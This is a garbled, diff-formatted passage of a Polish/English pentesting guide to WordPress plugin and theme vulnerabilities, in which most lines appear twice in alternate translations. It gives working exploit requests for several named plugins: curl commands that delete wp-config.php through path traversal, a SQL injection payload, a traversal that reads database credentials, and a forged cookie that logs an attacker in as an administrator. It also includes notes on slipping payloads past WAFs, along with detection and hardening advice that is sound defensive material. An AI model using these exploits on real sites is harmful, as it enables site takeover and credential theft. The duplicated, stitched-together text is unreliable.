- Preferuj uwierzytelnianie pierwszej strony (cookies, application passwords, OAuth) zamiast „impersonation” przez nagłówki.
Referencje: zobacz linki na końcu tej strony dotyczące publicznego przypadku i szerszej analizy.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
@ -443,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Issues introduced by this snippet:
Problemy wprowadzone przez ten fragment:
* **Unauthenticated access** the `wp_ajax_nopriv_` hook is registered.
* **No nonce / capability check** any visitor can hit the endpoint.
* **No path sanitisation** the usercontrolled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
* **Dostęp bez uwierzytelnienia** zarejestrowano hook `wp_ajax_nopriv_`.
* **Brak sprawdzania nonce / uprawnień** każdy odwiedzający może trafić do tego endpointu.
* **Brak sanitizacji ścieżki** ciąg sterowany przez użytkownika `fontfamily` jest konkatenowany do ścieżki w systemie plików bez filtrowania, pozwalając na klasyczny `../../` traversal.
#### Wykorzystanie
#### Eksploatacja
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
Atakujący może usunąć dowolny plik lub katalog **poniżej katalogu bazowego uploads** (zazwyczaj `<wp-root>/wp-content/uploads/`) wysyłając pojedyncze żądanie HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Ponieważ `wp-config.php` znajduje się poza *uploads*, cztery sekwencje `../` wystarczą na domyślnej instalacji. Usunięcie `wp-config.php` zmusza WordPress do uruchomienia *kreatora instalacji* przy następnej wizycie, umożliwiając całkowite przejęcie strony (atakujący jedynie dostarcza nową konfigurację bazy danych i tworzy konto administratora).
Ponieważ `wp-config.php` znajduje się poza katalogiem *uploads*, w domyślnej instalacji wystarczą cztery sekwencje `../`. Usunięcie `wp-config.php` wymusza na WordPress uruchomienie *installation wizard* przy następnym odwiedzeniu strony, co umożliwia pełne przejęcie serwisu (atakujący jedynie dostarcza nową konfigurację DB i tworzy użytkownika admin).
Inne istotne cele to pliki `.php` wtyczek/motywów (aby uszkodzić wtyczki zabezpieczające) lub reguły `.htaccess`.
Inne istotne cele to pliki `.php` w pluginach/motywach (aby złamać wtyczki zabezpieczające) lub reguły `.htaccess`.
#### Lista kontrolna wykrywania
#### Lista kontrolna detekcji
* Każdy callback `add_action( 'wp_ajax_nopriv_...')` który wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Łączenie niesanitizowanych danych wejściowych użytkownika w ścieżkach (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
* Każdy callback `add_action( 'wp_ajax_nopriv_...')`, który wywołuje helpery systemu plików (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Łączenie niesanitizowanych danych wejściowych od użytkownika w ścieżki (szukaj `$_POST`, `$_GET`, `$_REQUEST`).
* Brak `check_ajax_referer()` oraz `current_user_can()`/`is_user_logged_in()`.
#### Wzmocnienie
#### Utwardzanie
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i sprawdź dwukrotnie:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Wiele wtyczek implementuje funkcję "view as role" lub tymczasowej zmiany roli, zapisując oryginalne role w user meta, aby można je było później przywrócić. Jeśli ścieżka przywracania opiera się tylko na parametrach żądania (np. `$_REQUEST['reset-for']`) i liście utrzymywanej przez wtyczkę bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation.
Wiele wtyczek implementuje funkcję "view as role" lub tymczasową zmianę roli poprzez zapisanie oryginalnej(-ych) roli(-i) w user meta, aby można je było przywrócić później. Jeśli ścieżka przywracania opiera się wyłącznie na parametrach żądania (np. `$_REQUEST['reset-for']`) i na liście utrzymywanej przez wtyczkę, bez sprawdzenia capabilities i ważnego nonce, staje się to vertical privilege escalation.
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Gałąź reset przywracała role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiła się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonywała ani sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
Przykład z rzeczywistego świata znaleziono we wtyczce Admin and Site Enhancements (ASE) (≤ 7.6.2.1). W gałęzi resetu przywracano role na podstawie `reset-for=<username>` jeśli nazwa użytkownika pojawiała się w wewnętrznej tablicy `$options['viewing_admin_as_role_are']`, ale nie wykonano sprawdzenia `current_user_can()` ani weryfikacji nonce przed usunięciem obecnych ról i ponownym dodaniem zapisanych ról z user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Dlaczego to jest podatne na atak
Dlaczego to jest podatne
- Polega na zaufaniu do `$_REQUEST['reset-for']` i opcji pluginu bez autoryzacji po stronie serwera.
- Jeśli użytkownik miał wcześniej wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, odwiedzając ścieżkę resetu.
- W niektórych wdrożeniach każdy uwierzytelniony użytkownik mógł spowodować reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (błędna autoryzacja).
- Ufa `$_REQUEST['reset-for']` i opcji wtyczki bez autoryzacji po stronie serwera.
- Jeśli użytkownik wcześniej miał wyższe uprawnienia zapisane w `_asenha_view_admin_as_original_roles` i został zdegradowany, może je przywrócić, wywołując ścieżkę resetu.
- W niektórych wdrożeniach dowolny uwierzytelniony użytkownik mógł wywołać reset dla innej nazwy użytkownika nadal obecnej w `viewing_admin_as_role_are` (złamana autoryzacja).
Wymagania wstępne ataku
- Wrażliwa wersja pluginu z włączoną funkcją.
- Docelowe konto ma przestarzałą rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
- Dowolna uwierzytelniona sesja; brak nonce/capability w przebiegu resetu.
- Wrażliwa wersja wtyczki z włączoną funkcją.
- Konto docelowe ma przeterminowaną rolę o wysokich uprawnieniach zapisaną w user meta z wcześniejszego użycia.
- Dowolna uwierzytelniona sesja; brak nonce/capability w ścieżce resetu.
Wykorzystanie (przykład)
Eksploatacja (przykład)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -531,45 +531,94 @@ Wykorzystanie (przykład)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Na podatnych buildach usuwa to bieżące role i ponownie dodaje zapisane „oryginalne role” (np. `administrator`), skutecznie eskalując uprawnienia.
W podatnych wersjach usuwa to aktualne role i ponownie dodaje zapisane oryginalne role (np. `administrator`), skutecznie eskalując uprawnienia.
Detection checklist
- Szukaj funkcji przełączania ról, które przechowują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
- Szukaj funkcji przełączania ról, które zachowują „oryginalne role” w meta użytkownika (np. `_asenha_view_admin_as_original_roles`).
- Zidentyfikuj ścieżki resetowania/przywracania, które:
- Odczytują nazwy użytkowników z `$_REQUEST` / `$_GET` / `$_POST`.
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autoryzują na podstawie tablicy opcji pluginu (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień aktora.
- Modyfikują role za pomocą `add_role()` / `remove_role()` bez użycia `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autoryzują na podstawie tablicy opcji wtyczki (np. `viewing_admin_as_role_are`) zamiast na podstawie uprawnień wykonawcy.
Hardening
- Wymuś sprawdzenia uprawnień przy każdym odgałęzieniu zmieniającym stan (np. `current_user_can('manage_options')` lub bardziej restrykcyjne).
- Wymagaj nonces dla wszystkich zmian ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
- Nigdy nie ufaj nazwom użytkowników dostarczanym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego aktora i jawnej polityki.
- Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/ról, aby uniknąć przywrócenia przestarzałych uprzywilejowań:
- Wymagaj sprawdzeń uprawnień w każdym fragmencie kodu zmieniającym stan (np. `current_user_can('manage_options')` lub surowsze).
- Wymagaj nonce'ów dla wszystkich zmian ról/uprawnień i weryfikuj je: `check_admin_referer()` / `wp_verify_nonce()`.
- Nigdy nie ufaj nazwom użytkowników dostarczonym w żądaniu; rozstrzygaj docelowego użytkownika po stronie serwera na podstawie uwierzytelnionego wykonawcy i jawnej polityki.
- Unieważniaj stan „oryginalnych ról” przy aktualizacjach profilu/rol, aby uniknąć przywrócenia przestarzałych wysokich uprawnień:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Rozważ przechowywanie minimalnego stanu i używanie ograniczonych czasowo, zabezpieczonych uprawnieniami tokenów do tymczasowych przełączeń ról.
- Rozważ przechowywanie minimalnego stanu i użycie tokenów ograniczonych czasowo, zabezpieczonych capability, do tymczasowych zmian ról.
---
### Uwagi dotyczące WAF dla WordPress/plugin CVEs
### Eskalacja uprawnień bez uwierzytelnienia przez przełączanie użytkownika zaufane przez cookie na publicznym init (Service Finder “sf-booking”)
Ogólne WAFy edge/server są dostrojone do wykrywania szerokich wzorców (SQLi, XSS, LFI). Wiele podatności o dużym wpływie w WordPress/plugin to błędy logiki lub autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, jeśli silnik nie rozumie ścieżek WordPress i semantyki pluginów.
Niektóre wtyczki podłączają funkcje pomocnicze do przełączania użytkowników do publicznego haka `init` i wyznaczają tożsamość na podstawie cookie kontrolowanego przez klienta. Jeśli kod wywołuje `wp_set_auth_cookie()` bez weryfikacji uwierzytelnienia, capability i ważnego nonce, każdy niezalogowany odwiedzający może wymusić zalogowanie jako dowolny użytkownik o określonym ID.
Offensive notes
Typowy podatny wzorzec (uproszczony z Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
- Celuj w endpointy specyficzne dla pluginów, używając czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Najpierw sprawdź ścieżki nieautoryzowane (AJAX `nopriv`, REST z permisywnym `permission_callback`, public shortcodes). Domyślne payloady często działają bez obfuskacji.
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (broken access control), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
Dlaczego jest to eksploatowalne
Defensive notes
- Publiczny hook `init` powoduje, że handler jest dostępny dla niezalogowanych użytkowników (brak zabezpieczenia `is_user_logged_in()`).
- Tożsamość jest wyprowadzana z cookie modyfikowalnego po stronie klienta (`original_user_id`).
- Bezpośrednie wywołanie `wp_set_auth_cookie($uid)` loguje żądającego jako tego użytkownika bez żadnych sprawdzeń capability/nonce.
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić przed plugin CVEs. Wdróż wirtualne poprawki na warstwie aplikacji, specyficzne dla danej podatności, albo szybko aktualizuj.
- Preferuj kontrole positive-security w kodzie (capabilities, nonces, ścisła walidacja wejścia) zamiast negatywnych filtrów regex.
Eksploatacja (bez uwierzytelnienia)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### Uwagi dotyczące WAF dla CVE WordPress/pluginów
Ogólne WAFy brzegowe/serwerowe są dostrojone pod kątem szerokich wzorców (SQLi, XSS, LFI). Wiele błędów o dużym wpływie w WordPressie/wtyczkach to błędy logiki/autoryzacji specyficzne dla aplikacji, które wyglądają jak nieszkodliwy ruch, chyba że silnik rozumie trasy WordPressa i semantykę wtyczek.
Uwagi ofensywne
- Celuj w punkty końcowe specyficzne dla wtyczek za pomocą czystych payloadów: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, niestandardowe handlery plików, shortcodes.
- Najpierw testuj ścieżki bez autoryzacji (AJAX `nopriv`, REST z pobłażliwym `permission_callback`, publiczne shortcodes). Domyślne payloady często działają bez obfuskacji.
- Typowe przypadki o dużym wpływie: eskalacja uprawnień (naruszona kontrola dostępu), dowolne przesyłanie/pobieranie plików, LFI, open redirect.
Uwagi defensywne
- Nie polegaj na ogólnych sygnaturach WAF, aby chronić CVE wtyczek. Wdróż virtual patches na warstwie aplikacji specyficzne dla danej podatności lub zaktualizuj szybko.
- Preferuj pozytywne mechanizmy bezpieczeństwa w kodzie (capabilities, nonces, rygorystyczna walidacja wejścia) zamiast negatywnych filtrów regex.
## Ochrona WordPress
@ -594,13 +643,13 @@ Ponadto, **instaluj tylko zaufane wtyczki i motywy WordPress**.
- Usuń domyślnego użytkownika **admin**
- Używaj **silnych haseł** i **2FA**
- Okresowo **przeglądaj** **uprawnienia** użytkowników
- Ogranicz **liczbę prób logowania**, aby zapobiec atakom Brute Force
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
- **Ogranicz liczbę prób logowania** aby zapobiec atakom Brute Force
- Zmień nazwę pliku **`wp-admin.php`** i zezwalaj na dostęp tylko wewnętrznie lub z określonych adresów IP.
### SQL Injection bez uwierzytelnienia z powodu niewystarczającej walidacji (WP Job Portal <= 2.3.2)
### Nieuwierzytelniony SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Wtyczka rekrutacyjna WP Job Portal ujawniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
Wtyczka rekrutacyjna WP Job Portal udostępniała zadanie **savecategory**, które ostatecznie wykonuje następujący podatny kod w `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -612,17 +661,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Problemy wprowadzone przez ten fragment:
1. **Nieprzefiltrowane dane wejściowe** `parentid` pochodzi bezpośrednio z żądania HTTP.
2. **Konkatenacja łańcuchów w klauzuli WHERE** brak `is_numeric()` / `esc_sql()` / prepared statement.
3. **Możliwość wywołania bez uwierzytelnienia** chociaż akcja jest wykonywana przez `admin-post.php`, jedyną weryfikacją jest **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`.
1. **Unsanitised user input** `parentid` pochodzi bezpośrednio z żądania HTTP.
2. **String concatenation inside the WHERE clause** brak `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** chociaż akcja jest wykonywana przez `admin-post.php`, jedyna kontrola to **CSRF nonce** (`wp_verify_nonce()`), który każdy odwiedzający może pobrać ze strony publicznej osadzającej shortcode `[wpjobportal_my_resumes]`.
#### Eksploatacja
#### Exploitation
1. Pobierz świeży nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Wstrzyknij dowolne SQL przez nadużycie `parentid`:
2. Wstrzyknij dowolne SQL wykorzystując `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -630,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, potwierdzając SQLi.
Odpowiedź ujawnia wynik wstrzykniętego zapytania lub modyfikuje bazę danych, co potwierdza SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Kolejne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik z dysku** poprzez path traversal. Wrażliwy sink znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
Kolejne zadanie, **downloadcustomfile**, pozwalało odwiedzającym pobrać **dowolny plik na dysku** poprzez path traversal. Wrażliwy punkt znajduje się w `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać ze strony z CV.
`$file_name` jest kontrolowany przez atakującego i konkatenowany **bez sanitacji**. Ponownie, jedyną przeszkodą jest **CSRF nonce**, który można pobrać ze strony z CV.
#### Eksploatacja
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -654,14 +703,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
## Referencje
## Źródła
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privileged-escalation-vulnerability)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}}